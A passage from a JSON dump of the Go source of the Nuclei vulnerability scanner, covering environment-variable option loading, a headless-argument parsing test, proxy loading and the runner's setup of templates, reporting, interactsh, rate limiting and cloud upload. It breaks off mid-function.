os.Getenv(\"GITHUB_TEMPLATE_REPO\")\n\tif repolist != \"\" {\n\t\toptions.GitHubTemplateRepo = append(options.GitHubTemplateRepo, stringsutil.SplitAny(repolist, \",\")...)\n\t}\n\n\t// GitLab options for downloading templates from a repository\n\toptions.GitLabServerURL = os.Getenv(\"GITLAB_SERVER_URL\")\n\tif options.GitLabServerURL == \"\" {\n\t\toptions.GitLabServerURL = \"https://gitlab.com\"\n\t}\n\toptions.GitLabToken = os.Getenv(\"GITLAB_TOKEN\")\n\trepolist = os.Getenv(\"GITLAB_REPOSITORY_IDS\")\n\t// Convert the comma separated list of repository IDs to a list of integers\n\tif repolist != \"\" {\n\t\tfor _, repoID := range stringsutil.SplitAny(repolist, \",\") {\n\t\t\t// Attempt to convert the repo ID to an integer\n\t\t\trepoIDInt, err := strconv.Atoi(repoID)\n\t\t\tif err != nil {\n\t\t\t\toptions.Logger.Warning().Msgf(\"Invalid GitLab template repository ID: %s\", repoID)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Add the int repository ID to the list\n\t\t\toptions.GitLabTemplateRepositoryIDs = append(options.GitLabTemplateRepositoryIDs, repoIDInt)\n\t\t}\n\t}\n\n\t// AWS options for downloading templates from an S3 bucket\n\toptions.AwsAccessKey = os.Getenv(\"AWS_ACCESS_KEY\")\n\toptions.AwsSecretKey = os.Getenv(\"AWS_SECRET_KEY\")\n\toptions.AwsBucketName = os.Getenv(\"AWS_TEMPLATE_BUCKET\")\n\toptions.AwsRegion = os.Getenv(\"AWS_REGION\")\n\toptions.AwsProfile = os.Getenv(\"AWS_PROFILE\")\n\n\t// Azure options for downloading templates from an Azure Blob Storage container\n\toptions.AzureContainerName = os.Getenv(\"AZURE_CONTAINER_NAME\")\n\toptions.AzureTenantID = os.Getenv(\"AZURE_TENANT_ID\")\n\toptions.AzureClientID = os.Getenv(\"AZURE_CLIENT_ID\")\n\toptions.AzureClientSecret = os.Getenv(\"AZURE_CLIENT_SECRET\")\n\toptions.AzureServiceURL = os.Getenv(\"AZURE_SERVICE_URL\")\n\n\t// Custom public keys for template verification\n\toptions.CodeTemplateSignaturePublicKey = os.Getenv(\"NUCLEI_SIGNATURE_PUBLIC_KEY\")\n\toptions.CodeTemplateSignatureAlgorithm = os.Getenv(\"NUCLEI_SIGNATURE_ALGORITHM\")\n\n\t// General options to disable the template download locations from being used.\n\t// This will override the default behavior of downloading templates from the default locations as well as the\n\t// custom locations.\n\t// The primary use-case is when the user wants to use custom templates only and does not want to download any\n\t// templates from the default locations or is unable to connect to the public internet.\n\toptions.PublicTemplateDisableDownload = getBoolEnvValue(\"DISABLE_NUCLEI_TEMPLATES_PUBLIC_DOWNLOAD\")\n\toptions.GitHubTemplateDisableDownload = getBoolEnvValue(\"DISABLE_NUCLEI_TEMPLATES_GITHUB_DOWNLOAD\")\n\toptions.GitLabTemplateDisableDownload = getBoolEnvValue(\"DISABLE_NUCLEI_TEMPLATES_GITLAB_DOWNLOAD\")\n\toptions.AwsTemplateDisableDownload = getBoolEnvValue(\"DISABLE_NUCLEI_TEMPLATES_AWS_DOWNLOAD\")\n\toptions.AzureTemplateDisableDownload = getBoolEnvValue(\"DISABLE_NUCLEI_TEMPLATES_AZURE_DOWNLOAD\")\n\n\t// Options to modify the behavior of exporters\n\toptions.MarkdownExportSortMode = strings.ToLower(os.Getenv(\"MARKDOWN_EXPORT_SORT_MODE\"))\n\t// If the user has not specified a valid sort mode, use the default\n\tif options.MarkdownExportSortMode != \"template\" && options.MarkdownExportSortMode != \"severity\" && options.MarkdownExportSortMode != \"host\" {\n\t\toptions.MarkdownExportSortMode = \"\"\n\t}\n}\n\nfunc getBoolEnvValue(key string) bool {\n\tvalue := os.Getenv(key)\n\treturn strings.EqualFold(value, \"true\")\n}\n"
  },
  {
    "path": "internal/runner/options_test.go",
    "content": "package runner\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestParseHeadlessOptionalArguments(t *testing.T) {\n\ttests := []struct {\n\t\tname  string\n\t\tinput string\n\t\twant  map[string]string\n\t}{\n\t\t{\n\t\t\tname:  \"single value\",\n\t\t\tinput: \"a=b\",\n\t\t\twant:  map[string]string{\"a\": \"b\"},\n\t\t},\n\t\t{\n\t\t\tname:  \"empty string\",\n\t\t\tinput: \"\",\n\t\t\twant:  map[string]string{},\n\t\t},\n\t\t{\n\t\t\tname:  \"empty key\",\n\t\t\tinput: \"=b\",\n\t\t\twant:  map[string]string{},\n\t\t},\n\t\t{\n\t\t\tname:  \"empty value\",\n\t\t\tinput: \"a=\",\n\t\t\twant:  map[string]string{},\n\t\t},\n\t\t{\n\t\t\tname:  \"double input\",\n\t\t\tinput: \"a=b,c=d\",\n\t\t\twant:  map[string]string{\"a\": \"b\", \"c\": \"d\"},\n\t\t},\n\t\t{\n\t\t\tname:  \"duplicated input\",\n\t\t\tinput: \"a=b,a=b\",\n\t\t\twant:  map[string]string{\"a\": \"b\"},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tstrsl := goflags.StringSlice{}\n\t\t\tfor _, v := range strings.Split(tt.input, \",\") {\n\t\t\t\t//nolint\n\t\t\t\tstrsl.Set(v)\n\t\t\t}\n\t\t\topt := types.Options{HeadlessOptionalArguments: strsl}\n\t\t\tgot := opt.ParseHeadlessOptionalArguments()\n\t\t\trequire.Equal(t, tt.want, got)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/runner/proxy.go",
    "content": "package runner\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tproxyutils \"github.com/projectdiscovery/utils/proxy\"\n)\n\nconst (\n\tHTTP_PROXY_ENV = \"HTTP_PROXY\"\n)\n\n// loadProxyServers load list of proxy servers from file or comma separated\nfunc loadProxyServers(options *types.Options) error {\n\tif len(options.Proxy) == 0 {\n\t\treturn nil\n\t}\n\tproxyList := []string{}\n\tfor _, p := range options.Proxy {\n\t\tif fileutil.FileExists(p) {\n\t\t\tfile, err := os.Open(p)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"could not open proxy file: %w\", err)\n\t\t\t}\n\t\t\tdefer func() {\n\t\t\t\t_ = file.Close()\n\t\t\t}()\n\t\t\tscanner := bufio.NewScanner(file)\n\t\t\tfor scanner.Scan() {\n\t\t\t\tproxy := scanner.Text()\n\t\t\t\tif strings.TrimSpace(proxy) == \"\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tproxyList = append(proxyList, proxy)\n\t\t\t}\n\t\t} else {\n\t\t\tproxyList = append(proxyList, p)\n\t\t}\n\t}\n\taliveProxy, err := proxyutils.GetAnyAliveProxy(options.Timeout, proxyList...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tproxyURL, err := url.Parse(aliveProxy)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"failed to parse proxy got %v\", err)\n\t}\n\tif options.ProxyInternal {\n\t\t_ = os.Setenv(HTTP_PROXY_ENV, proxyURL.String())\n\t}\n\tswitch proxyURL.Scheme {\n\tcase proxyutils.HTTP, proxyutils.HTTPS:\n\t\toptions.Logger.Verbose().Msgf(\"Using %s as proxy server\", proxyURL.String())\n\t\toptions.AliveHttpProxy = proxyURL.String()\n\tcase proxyutils.SOCKS5:\n\t\toptions.AliveSocksProxy = proxyURL.String()\n\t\toptions.Logger.Verbose().Msgf(\"Using %s as socket proxy server\", proxyURL.String())\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "internal/runner/runner.go",
    "content": "package runner\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/pdcp\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/server\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/installer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/parser\"\n\toutputstats \"github.com/projectdiscovery/nuclei/v3/pkg/output/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan/events\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\tuncoverlib \"github.com/projectdiscovery/uncover\"\n\tpdcpauth \"github.com/projectdiscovery/utils/auth/pdcp\"\n\t\"github.com/projectdiscovery/utils/env\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tpermissionutil \"github.com/projectdiscovery/utils/permission\"\n\tpprofutil \"github.com/projectdiscovery/utils/pprof\"\n\tupdateutils \"github.com/projectdiscovery/utils/update\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/internal/colorizer\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/httpapi\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/core\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/external/customtemplates\"\n\tfuzzStats \"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input\"\n\tparsers \"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/projectfile\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/automaticscan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/excludematchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine\"\n\thttpProtocol \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/yaml\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tptrutil \"github.com/projectdiscovery/utils/ptr\"\n)\n\nvar (\n\t// HideAutoSaveMsg is a global variable to hide the auto-save message\n\tHideAutoSaveMsg = false\n\t// EnableCloudUpload is global variable to enable cloud upload\n\tEnableCloudUpload = false\n)\n\n// Runner is a client for running the enumeration process.\ntype Runner struct {\n\toutput             output.Writer\n\tinteractsh         *interactsh.Client\n\toptions            *types.Options\n\tprojectFile        *projectfile.ProjectFile\n\tcatalog            catalog.Catalog\n\tprogress           progress.Progress\n\tcolorizer          aurora.Aurora\n\tissuesClient       reporting.Client\n\tbrowser            *engine.Browser\n\trateLimiter        *ratelimit.Limiter\n\thostErrors         hosterrorscache.CacheInterface\n\tresumeCfg          *types.ResumeCfg\n\tpprofServer        *pprofutil.PprofServer\n\tpdcpUploadErrMsg   string\n\tinputProvider      provider.InputProvider\n\tfuzzFrequencyCache *frequency.Tracker\n\thttpStats          *outputstats.Tracker\n\tLogger             *gologger.Logger\n\n\t//general purpose temporary directory\n\ttmpDir          string\n\tparser          parser.Parser\n\thttpApiEndpoint *httpapi.Server\n\tfuzzStats       *fuzzStats.Tracker\n\tdastServer      *server.DASTServer\n}\n\n// New creates a new client for running the enumeration process.\nfunc New(options *types.Options) (*Runner, error) {\n\trunner := &Runner{\n\t\toptions: options,\n\t\tLogger:  options.Logger,\n\t}\n\n\tif options.HealthCheck {\n\t\trunner.Logger.Print().Msgf(\"%s\\n\", DoHealthCheck(options))\n\t\tos.Exit(0)\n\t}\n\n\t//  Version check by default\n\tif config.DefaultConfig.CanCheckForUpdates() {\n\t\tif err := installer.NucleiVersionCheck(); err != nil {\n\t\t\tif options.Verbose || options.Debug {\n\t\t\t\trunner.Logger.Error().Msgf(\"nuclei version check failed got: %s\\n\", err)\n\t\t\t}\n\t\t}\n\n\t\t// check for custom template updates and update if available\n\t\tctm, err := customtemplates.NewCustomTemplatesManager(options)\n\t\tif err != nil {\n\t\t\trunner.Logger.Error().Label(\"custom-templates\").Msgf(\"Failed to create custom templates manager: %s\\n\", err)\n\t\t}\n\n\t\t// Check for template updates and update if available.\n\t\t// If the custom templates manager is not nil, we will install custom templates if there is a fresh installation\n\t\ttm := &installer.TemplateManager{\n\t\t\tCustomTemplates:        ctm,\n\t\t\tDisablePublicTemplates: options.PublicTemplateDisableDownload,\n\t\t}\n\t\tif err := tm.FreshInstallIfNotExists(); err != nil {\n\t\t\trunner.Logger.Warning().Msgf(\"failed to install nuclei templates: %s\\n\", err)\n\t\t}\n\t\tif err := tm.UpdateIfOutdated(); err != nil {\n\t\t\trunner.Logger.Warning().Msgf(\"failed to update nuclei templates: %s\\n\", err)\n\t\t}\n\n\t\tif config.DefaultConfig.NeedsIgnoreFileUpdate() {\n\t\t\tif err := installer.UpdateIgnoreFile(); err != nil {\n\t\t\t\trunner.Logger.Warning().Msgf(\"failed to update nuclei ignore file: %s\\n\", err)\n\t\t\t}\n\t\t}\n\n\t\tif options.UpdateTemplates {\n\t\t\t// we automatically check for updates unless explicitly disabled\n\t\t\t// this print statement is only to inform the user that there are no updates\n\t\t\tif !config.DefaultConfig.NeedsTemplateUpdate() {\n\t\t\t\trunner.Logger.Info().Msgf(\"No new updates found for nuclei templates\")\n\t\t\t}\n\t\t\t// manually trigger update of custom templates\n\t\t\tif ctm != nil {\n\t\t\t\tctm.Update(context.TODO())\n\t\t\t}\n\t\t}\n\t}\n\n\tif op, ok := options.Parser.(*templates.Parser); ok {\n\t\t// Enable passing in an existing parser instance\n\t\t// This uses a type assertion to avoid an import loop\n\t\trunner.parser = op\n\t} else {\n\t\tparser := templates.NewParser()\n\t\tif options.Validate {\n\t\t\tparser.ShouldValidate = true\n\t\t}\n\t\t// TODO: refactor to pass options reference globally without cycles\n\t\tparser.NoStrictSyntax = options.NoStrictSyntax\n\t\trunner.parser = parser\n\t}\n\n\tyaml.StrictSyntax = !options.NoStrictSyntax\n\n\tif options.Headless {\n\t\tif engine.MustDisableSandbox() {\n\t\t\trunner.Logger.Warning().Msgf(\"The current platform and privileged user will run the browser without sandbox\\n\")\n\t\t}\n\t\tbrowser, err := engine.New(options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\trunner.browser = browser\n\t}\n\n\trunner.catalog = disk.NewCatalog(config.DefaultConfig.TemplatesDirectory)\n\n\tvar httpclient *retryablehttp.Client\n\tif options.ProxyInternal && options.AliveHttpProxy != \"\" || options.AliveSocksProxy != \"\" {\n\t\tvar err error\n\t\thttpclient, err = httpclientpool.Get(options, &httpclientpool.Configuration{})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif err := reporting.CreateConfigIfNotExists(); err != nil {\n\t\treturn nil, err\n\t}\n\treportingOptions, err := createReportingOptions(options)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif reportingOptions != nil && httpclient != nil {\n\t\treportingOptions.HttpClient = httpclient\n\t}\n\n\tif reportingOptions != nil {\n\t\tclient, err := reporting.New(reportingOptions, options.ReportingDB, false)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create issue reporting client\")\n\t\t}\n\t\trunner.issuesClient = client\n\t}\n\n\t// output coloring\n\tuseColor := !options.NoColor\n\trunner.colorizer = aurora.NewAurora(useColor)\n\ttemplates.Colorizer = runner.colorizer\n\ttemplates.SeverityColorizer = colorizer.New(runner.colorizer)\n\n\tif options.EnablePprof {\n\t\trunner.pprofServer = pprofutil.NewPprofServer()\n\t\trunner.pprofServer.Start()\n\t}\n\n\tif options.HttpApiEndpoint != \"\" {\n\t\tapiServer := httpapi.New(options.HttpApiEndpoint, options)\n\t\trunner.Logger.Info().Msgf(\"Listening api endpoint on: %s\", options.HttpApiEndpoint)\n\t\trunner.httpApiEndpoint = apiServer\n\t\tgo func() {\n\t\t\tif err := apiServer.Start(); err != nil {\n\t\t\t\trunner.Logger.Error().Msgf(\"Failed to start API server: %s\", err)\n\t\t\t}\n\t\t}()\n\t}\n\n\tif (len(options.Templates) == 0 || !options.NewTemplates || (options.TargetsFilePath == \"\" && !options.Stdin && len(options.Targets) == 0)) && options.UpdateTemplates {\n\t\tos.Exit(0)\n\t}\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-tmp-*\")\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create temporary directory\")\n\t}\n\trunner.tmpDir = tmpDir\n\n\t// Cleanup tmpDir only if initialization fails\n\t// On successful initialization, Close() method will handle cleanup\n\tcleanupOnError := true\n\tdefer func() {\n\t\tif cleanupOnError && runner.tmpDir != \"\" {\n\t\t\t_ = os.RemoveAll(runner.tmpDir)\n\t\t}\n\t}()\n\n\t// create the input provider and load the inputs\n\tinputProvider, err := provider.NewInputProvider(provider.InputOptions{Options: options, TempDir: runner.tmpDir})\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create input provider\")\n\t}\n\trunner.inputProvider = inputProvider\n\n\t// Create the output file if asked\n\toutputWriter, err := output.NewStandardWriter(options)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create output file\")\n\t}\n\t// setup a proxy writer to automatically upload results to PDCP\n\trunner.output = runner.setupPDCPUpload(outputWriter)\n\tif options.HTTPStats {\n\t\trunner.httpStats = outputstats.NewTracker()\n\t\trunner.output = output.NewMultiWriter(runner.output, output.NewTrackerWriter(runner.httpStats))\n\t}\n\n\tif options.JSONL && options.EnableProgressBar {\n\t\toptions.StatsJSON = true\n\t}\n\tif options.StatsJSON {\n\t\toptions.EnableProgressBar = true\n\t}\n\t// Creates the progress tracking object\n\tvar progressErr error\n\tstatsInterval := options.StatsInterval\n\trunner.progress, progressErr = progress.NewStatsTicker(statsInterval, options.EnableProgressBar, options.StatsJSON, false, options.MetricsPort)\n\tif progressErr != nil {\n\t\treturn nil, progressErr\n\t}\n\n\t// create project file if requested or load the existing one\n\tif options.Project {\n\t\tvar projectFileErr error\n\t\trunner.projectFile, projectFileErr = projectfile.New(&projectfile.Options{Path: options.ProjectPath, Cleanup: utils.IsBlank(options.ProjectPath)})\n\t\tif projectFileErr != nil {\n\t\t\treturn nil, projectFileErr\n\t\t}\n\t}\n\n\t// create the resume configuration structure\n\tresumeCfg := types.NewResumeCfg()\n\tif runner.options.ShouldLoadResume() {\n\t\trunner.Logger.Info().Msg(\"Resuming from save checkpoint\")\n\t\tfile, err := os.ReadFile(runner.options.Resume)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\terr = json.Unmarshal(file, &resumeCfg)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresumeCfg.Compile()\n\t}\n\trunner.resumeCfg = resumeCfg\n\n\tif options.DASTReport || options.DASTServer {\n\t\tvar err error\n\t\trunner.fuzzStats, err = fuzzStats.NewTracker()\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create fuzz stats db\")\n\t\t}\n\t\tif !options.DASTServer {\n\t\t\tdastServer, err := server.NewStatsServer(runner.fuzzStats)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"could not create dast server\")\n\t\t\t}\n\t\t\trunner.dastServer = dastServer\n\t\t}\n\t}\n\n\tif runner.fuzzStats != nil {\n\t\toutputWriter.JSONLogRequestHook = func(request *output.JSONLogRequest) {\n\t\t\tif request.Error == \"none\" || request.Error == \"\" {\n\t\t\t\treturn\n\t\t\t}\n\t\t\trunner.fuzzStats.RecordErrorEvent(fuzzStats.ErrorEvent{\n\t\t\t\tTemplateID: request.Template,\n\t\t\t\tURL:        request.Input,\n\t\t\t\tError:      request.Error,\n\t\t\t})\n\t\t}\n\t}\n\n\topts := interactsh.DefaultOptions(runner.output, runner.issuesClient, runner.progress)\n\topts.Logger = runner.Logger\n\topts.Debug = runner.options.Debug\n\topts.NoColor = runner.options.NoColor\n\tif options.InteractshURL != \"\" {\n\t\topts.ServerURL = options.InteractshURL\n\t}\n\topts.Authorization = options.InteractshToken\n\topts.CacheSize = options.InteractionsCacheSize\n\topts.Eviction = time.Duration(options.InteractionsEviction) * time.Second\n\topts.CooldownPeriod = time.Duration(options.InteractionsCoolDownPeriod) * time.Second\n\topts.PollDuration = time.Duration(options.InteractionsPollDuration) * time.Second\n\topts.NoInteractsh = runner.options.NoInteractsh\n\topts.StopAtFirstMatch = runner.options.StopAtFirstMatch\n\topts.Debug = runner.options.Debug\n\topts.DebugRequest = runner.options.DebugRequests\n\topts.DebugResponse = runner.options.DebugResponse\n\tif httpclient != nil {\n\t\topts.HTTPClient = httpclient\n\t}\n\tif opts.HTTPClient == nil {\n\t\thttpOpts := retryablehttp.DefaultOptionsSingle\n\t\thttpOpts.Timeout = 20 * time.Second // for stability reasons\n\t\tif options.Timeout > 20 {\n\t\t\thttpOpts.Timeout = time.Duration(options.Timeout) * time.Second\n\t\t}\n\t\t// in testing it was found most of times when interactsh failed, it was due to failure in registering /polling requests\n\t\topts.HTTPClient = retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)\n\t}\n\tinteractshClient, err := interactsh.New(opts)\n\tif err != nil {\n\t\trunner.Logger.Error().Msgf(\"Could not create interactsh client: %s\", err)\n\t} else {\n\t\trunner.interactsh = interactshClient\n\t}\n\n\tif options.RateLimitMinute > 0 {\n\t\trunner.Logger.Print().Msgf(\"[%v] %v\", aurora.BrightYellow(\"WRN\"), \"rate limit per minute is deprecated - use rate-limit-duration\")\n\t\toptions.RateLimit = options.RateLimitMinute\n\t\toptions.RateLimitDuration = time.Minute\n\t}\n\tif options.RateLimit > 0 && options.RateLimitDuration == 0 {\n\t\toptions.RateLimitDuration = time.Second\n\t}\n\trunner.rateLimiter = utils.GetRateLimiter(context.Background(), options.RateLimit, options.RateLimitDuration)\n\n\t// Initialization successful, disable cleanup on error\n\tcleanupOnError = false\n\treturn runner, nil\n}\n\n// runStandardEnumeration runs standard enumeration\nfunc (r *Runner) runStandardEnumeration(executerOpts *protocols.ExecutorOptions, store *loader.Store, engine *core.Engine) (*atomic.Bool, error) {\n\tif r.options.AutomaticScan {\n\t\treturn r.executeSmartWorkflowInput(executerOpts, store, engine)\n\t}\n\treturn r.executeTemplatesInput(store, engine)\n}\n\n// Close releases all the resources and cleans up\nfunc (r *Runner) Close() {\n\tif r.dastServer != nil {\n\t\tr.dastServer.Close()\n\t}\n\tif r.httpStats != nil {\n\t\tr.httpStats.DisplayTopStats(r.options.NoColor)\n\t}\n\t// dump hosterrors cache\n\tif r.hostErrors != nil {\n\t\tr.hostErrors.Close()\n\t}\n\tif r.output != nil {\n\t\tr.output.Close()\n\t}\n\tif r.issuesClient != nil {\n\t\tr.issuesClient.Close()\n\t}\n\tif r.projectFile != nil {\n\t\tr.projectFile.Close()\n\t}\n\tif r.inputProvider != nil {\n\t\tr.inputProvider.Close()\n\t}\n\tprotocolinit.Close(r.options.ExecutionId)\n\tif r.pprofServer != nil {\n\t\tr.pprofServer.Stop()\n\t}\n\tif r.rateLimiter != nil {\n\t\tr.rateLimiter.Stop()\n\t}\n\tr.progress.Stop()\n\tif r.browser != nil {\n\t\tr.browser.Close()\n\t}\n\tif r.tmpDir != \"\" {\n\t\t_ = os.RemoveAll(r.tmpDir)\n\t}\n\n\t//this is no-op unless nuclei is built with stats build tag\n\tevents.Close()\n}\n\n// setupPDCPUpload sets up the PDCP upload writer\n// by creating a new writer and returning it\nfunc (r *Runner) setupPDCPUpload(writer output.Writer) output.Writer {\n\t// if scanid is given implicitly consider that scan upload is enabled\n\tif r.options.ScanID != \"\" {\n\t\tr.options.EnableCloudUpload = true\n\t}\n\tif !r.options.EnableCloudUpload && !EnableCloudUpload {\n\t\tr.pdcpUploadErrMsg = \"Scan results upload to cloud is disabled.\"\n\t\treturn writer\n\t}\n\th := &pdcpauth.PDCPCredHandler{}\n\tcreds, err := h.GetCreds()\n\tif err != nil {\n\t\tif err != pdcpauth.ErrNoCreds && !HideAutoSaveMsg {\n\t\t\tr.Logger.Verbose().Msgf(\"Could not get credentials for cloud upload: %s\\n\", err)\n\t\t}\n\t\tr.pdcpUploadErrMsg = fmt.Sprintf(\"To view results on Cloud Dashboard, configure API key from %v\", pdcpauth.DashBoardURL)\n\t\treturn writer\n\t}\n\tuploadWriter, err := pdcp.NewUploadWriter(context.Background(), r.Logger, creds)\n\tif err != nil {\n\t\tr.pdcpUploadErrMsg = fmt.Sprintf(\"PDCP (%v) Auto-Save Failed: %s\\n\", pdcpauth.DashBoardURL, err)\n\t\treturn writer\n\t}\n\tif r.options.ScanID != \"\" {\n\t\t// ignore and use empty scan id if invalid\n\t\t_ = uploadWriter.SetScanID(r.options.ScanID)\n\t}\n\tif r.options.ScanName != \"\" {\n\t\tuploadWriter.SetScanName(r.options.ScanName)\n\t}\n\tif r.options.TeamID != \"\" {\n\t\tuploadWriter.SetTeamID(r.options.TeamID)\n\t}\n\treturn output.NewMultiWriter(writer, uploadWriter)\n}\n\n// RunEnumeration sets up the input layer for giving input nuclei.\n// binary and runs the actual enumeration\nfunc (r *Runner) RunEnumeration() error {\n\t// If the user has asked for DAST server mode, run the live\n\t// DAST fuzzing server.\n\tif r.options.DASTServer {\n\t\texecurOpts := &server.NucleiExecutorOptions{\n\t\t\tOptions:            r.options,\n\t\t\tOutput:             r.output,\n\t\t\tProgress:           r.progress,\n\t\t\tCatalog:            r.catalog,\n\t\t\tIssuesClient:       r.issuesClient,\n\t\t\tRateLimiter:        r.rateLimiter,\n\t\t\tInteractsh:         r.interactsh,\n\t\t\tProjectFile:        r.projectFile,\n\t\t\tBrowser:            r.browser,\n\t\t\tColorizer:          r.colorizer,\n\t\t\tParser:             r.parser,\n\t\t\tTemporaryDirectory: r.tmpDir,\n\t\t\tFuzzStatsDB:        r.fuzzStats,\n\t\t\tLogger:             r.Logger,\n\t\t}\n\t\tdastServer, err := server.New(&server.Options{\n\t\t\tAddress:               r.options.DASTServerAddress,\n\t\t\tTemplates:             r.options.Templates,\n\t\t\tOutputWriter:          r.output,\n\t\t\tVerbose:               r.options.Verbose,\n\t\t\tToken:                 r.options.DASTServerToken,\n\t\t\tInScope:               r.options.Scope,\n\t\t\tOutScope:              r.options.OutOfScope,\n\t\t\tNucleiExecutorOptions: execurOpts,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tr.dastServer = dastServer\n\t\treturn dastServer.Start()\n\t}\n\n\t// If user asked for new templates to be executed, collect the list from the templates' directory.\n\tif r.options.NewTemplates {\n\t\tif arr := config.DefaultConfig.GetNewAdditions(); len(arr) > 0 {\n\t\t\tr.options.Templates = append(r.options.Templates, arr...)\n\t\t}\n\t}\n\tif len(r.options.NewTemplatesWithVersion) > 0 {\n\t\tif arr := installer.GetNewTemplatesInVersions(r.options.NewTemplatesWithVersion...); len(arr) > 0 {\n\t\t\tr.options.Templates = append(r.options.Templates, arr...)\n\t\t}\n\t}\n\t// Exclude ignored file for validation\n\tif !r.options.Validate {\n\t\tignoreFile := config.ReadIgnoreFile()\n\t\tr.options.ExcludeTags = append(r.options.ExcludeTags, ignoreFile.Tags...)\n\t\tr.options.ExcludedTemplates = append(r.options.ExcludedTemplates, ignoreFile.Files...)\n\t}\n\n\tfuzzFreqCache := frequency.New(frequency.DefaultMaxTrackCount, r.options.FuzzParamFrequency)\n\tr.fuzzFrequencyCache = fuzzFreqCache\n\n\t// Create the executor options which will be used throughout the execution\n\t// stage by the nuclei engine modules.\n\texecutorOpts := &protocols.ExecutorOptions{\n\t\tOutput:              r.output,\n\t\tOptions:             r.options,\n\t\tProgress:            r.progress,\n\t\tCatalog:             r.catalog,\n\t\tIssuesClient:        r.issuesClient,\n\t\tRateLimiter:         r.rateLimiter,\n\t\tInteractsh:          r.interactsh,\n\t\tProjectFile:         r.projectFile,\n\t\tBrowser:             